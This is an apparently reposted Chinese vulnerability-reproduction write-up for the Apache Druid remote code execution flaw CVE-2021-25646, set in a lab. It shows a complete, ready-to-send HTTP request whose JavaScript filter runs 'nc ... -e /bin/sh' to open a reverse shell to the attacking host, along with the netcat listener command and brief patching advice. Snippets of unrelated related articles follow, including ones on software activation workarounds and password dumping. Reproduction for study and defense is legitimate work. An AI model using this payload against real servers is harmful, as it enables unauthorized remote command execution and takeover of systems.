Apache Druid 代码执行(CVE-2021-25646)漏洞复现

news2025/1/23 14:57:13

Druid简介与漏洞成因

Apache Druid是一个高性能的实时分析型数据库,旨在对大型数据集进行快速查询分析。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景,同时,Druid也通常被用来助力分析型应用的图形化界面,或者当做需要快速聚合的高并发后端API,Druid最适合应用于面向事件类型的数据。主要应用于:点击流分析、网络监测分析、服务指标存储、供应链分析、应用性能指标分析、数字广告分析、商务智能 / OLAP

2021年1月17号,阿里云安全@Litch1向Apache官方报告了Apache Druid远程代码执行漏洞,29号Apache Druid官方发布了漏洞补丁,分配CVE编号为CVE-2021-25646

该漏洞的成因是攻击者可以构造传入的json串来控制一些敏感的参数,其中参数function会被javascript rhino引擎执行,其中的js代码是支持调用java函数的,所以可以调用系统命令

# 实验环境

靶机:192.168.10.1 攻击机:192.168.10.130

# 漏洞复现

该漏洞为无回显的命令执行漏洞,但是我们可以通过服务器返回的状态码判断命令是否可以执行

执行成功返回的状态码为200,响应包如下:

image20210720124429228.png

执行失败返回的状态码为500,响应包如下:

image20210720124321825.png

经过测试发现存在 nc,可以用于反弹shell,所以我们在攻击机上使用命令nc -lvvp 2333开启监听,等待反弹shell

image20210720132333559.png

访问 192.168.10.1:8888(druid默认监听8888端口)确保服务正常访问

image20210720122755167.png

使用burp抓包,构造请求包如下,并发送

POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.10.1:8888
Content-Type: application/json
Content-Length: 1005

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.10.130 2333 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

请求成功,返回状态码200,并成功拿到反弹shell

image20210720133320844.png

# 修复建议

  1. 更新apache Druid到最新版本
  2. 限制非信任的设备对服务的访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1718883.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【方法】如何取消PPT“以只读方式打开“?

以“只读方式”打开的PPT,可能会受到不同的限制,比如无法编辑修改内容,无法保存原文件等。那如何取消PPT的“只读方式”呢?不同形式的“只读方式”,取消方法不同,下面一起来看看吧! “只读方式”…

达梦数据库(五) -------- 达梦数据库+mybatisPlus+springboot

前言:安装完达梦数据库后,需要初始化实例,在初始化实例时,需要注意大小写敏感的设置。大小写敏感只能在初始化数据库的时候设置,默认为大小写敏感,一旦设置成功就无法修改,如果想要修改&#xf…

景源畅信:抖音的爆款视频怎么选?

在短视频风起云涌的今天,抖音作为其中的佼佼者,每天都有无数视频在这里诞生。但如何在内容海洋中脱颖而出,成为人们茶余饭后谈论的焦点,是许多创作者和品牌思考的问题。选择爆款视频,不仅需要对平台规则有深刻理解&…

汾阳王发布T系列新品,百亿之路始于山西

执笔 | 文 清 编辑 | 古利特 山西汾阳王酒业董事长王再武提出要把握汾阳王发展的春天之后,其首个大动作来了。 随着汾阳王T系列新品上市,锚定清香第二大中高端品牌的汾阳王开启了山西市场改革,吹响了山西省内市场决胜之战的号角。 在对品牌…

Web前端复习二(期末考试考到了一部分)

第一章测试 选项中加粗的为答案 1.图片的边框可以通过( )设定宽度。 A.width B.height C.border D.align 2.关于超链接,( )属性用于规定在何处打开链接文档。 A.href . B.target C.title D.onclick 3.( )是在新窗口打开网页文档。 A _blank B_self C_…

TiDB学习9:Ti Cloud简介

目录 1. 为什么选择TiDB 2. 多租户 3. TiDB架构 4. 什么是TiDB Cloud 5. TiDB Cloud Provider Region 6. TiDB Cloud 入门 6.1 在浏览器中打开TiDB Cloud 6.2 创建您的账户 6.3 Developer Tier 与Dedicated Tier 6.3.1 Developer Tier 6.3.2 Dedicated Tier 6.3.2.…

IntelliJ IDEA,PyCharm,GoLand全家桶激活码(资源是从官网购买,仅供学习和交流)

全家桶激活码(资源是从官网购买,仅供学习和交流) 激活之前先设置一下代理 第一步:选择代理设置 第二步:选择 Manual proxy configuration 第三步:输入配置,第三步不要漏 下面为复制红框内容,直接复制进去就好!!! Host Name:localhost No proxy for: *.github.c…

2024新版二开微信发卡小程序源码卡密系统流支持量主

2024新版二开微信发卡小程序源码卡密系统流支持量主。裂变扩展多种领取模式二次开发的发卡小程序源码,其后台采用PHP编写,支持用户通过付费购卡或者观看视频广告领取卡密,该小程序还支持流量主,因为功能需要,我就进行了…

【Word】调整列表符号与后续文本的间距

1. 默认的列表格式: 2. 修改间距: ************************************************** 分割线 ************************************************************ 3. 效果

如何使用Cloudways搭建WordPress网站(附最新Cloudways优惠码)

如今,搭建网站已经变得非常简单,这主要得益于开源的CMS建站系统的兴起。即使是不懂编程的人也能轻松搭建自己的网站,这些CMS系统提供了丰富的主题模板和插件,使用户可以通过简单的拖放和配置操作来建立自己的网站。 WordPress是目…

SAP Build引言

前言 SAP Build 似乎是一个整合了很多低代码或无代码产品的平台,最早的时候应该都是各自分开的几个产品,近年合并到一块上了SAP Build平台 现在看官网的介绍应该是有三四个产品被集成进来了,分别是SAP IRPA,SAP Workflow&#xf…

uniapp使用一键登录(前后端两种实现全过程、附代码)

1.开通uni一键登录、开通服务空间uni-app官网 开通流程(业务开通 | uniCloud) 2. 开发:一键登录代码 & 云函数代码 3.排查报错 官方给出三种方式 本人使用了调试了第一种(前端调用)与第三种(后端调用,安全性好) 第一种(前端) 1.关联服务空间、创建云函数名…

大模型算法办备案全网最详细说明(+附件)

已成功备案产品(近130家,不包括审核中的) 一、大模型算法备案的强制性 二、生成式人工智能(大语言模型)安全评估要点 三、大模型备案必备材料重点说明 四、大模型备案填报流程 五、大模型备案时间成本对比 六、备案建议 附录、过程性材料 一…

# Mybatis 高级用法和tk.mybatis使用

Mybatis 高级用法和tk.mybatis使用 文章目录 Mybatis 高级用法和tk.mybatis使用使用SelectProvider、InsertProvider、UpdateProvider、DeleteProviderSelectProvider使用例子 tk.mybatis引入依赖查询实现实体映射类实体类规范 dao层调用dao 使用SelectProvider、InsertProvide…

使用CS抓取WIN2012明文密码

目录 实验概述: 开始实验: 实验准备: 打开CS: 生成木马控制wind2012: 抓取明文密码: 实验概述: win2012及win10版本是不允许将明文密码储存在内存中的,此时我们…

测试基础08:测试文档的编写(测试计划方案用例报告)

测试大纲 一、测试计划 1 概述 1.1 目的 简述本计划的目的,旨在说明各种测试阶段任务、人员分配和时间安排、工作规范等。测试计划包含足够的信息使测试人员明白项目需要做什么,是如何运作的。另外,清晰的文档结构能使任何一个读者在浏览…

如何利用向量数据库来弥补 LLM 的弱点

向量数据库使企业能够以经济且可持续的方式调整通用大型语言模型以供组织特定使用。 译自 How to Cure LLM Weaknesses with Vector Databases,作者 Naren Narendran。 多年来,人们一直在猜测人工智能对企业产生的潜在影响。现在,我们看到来自…

Ansible04-Ansible Vars变量详解

目录 写在前面6 Ansible Vars 变量6.1 playbook中的变量6.1.1 playbook中定义变量的格式6.1.2 举例6.1.3 小tip 6.2 共有变量6.2.1 变量文件6.2.1.1 变量文件编写6.2.1.2 playbook编写6.2.1.3 运行测试 6.2.2 根据主机组使用变量6.2.2.1 groups_vars编写6.2.2.2 playbook编写6.…

美国RAKsmart海外大带宽服务器的显著特点

美国RAKsmart海外大带宽服务器在当前的互联网服务领域中备受瞩目,其显著特点主要体现在以下几个方面: 高带宽资源:RAKsmart服务器拥有充足的带宽资源,最低提供100M独享带宽,并支持升级至G口、10G口大带宽方案。这种高带…

【验证码识别】Yolov8入门到实战点选验证码数据集分类训练,孪生训练,导出onnx,搭建部署接口

【验证码识别】Yolov8入门到实战点选验证码数据集分类训练,孪生训练,导出onnx,搭建部署接口 文章目录 【验证码识别】Yolov8入门到实战点选验证码数据集分类训练,孪生训练,导出onnx,搭建部署接口声明一、标…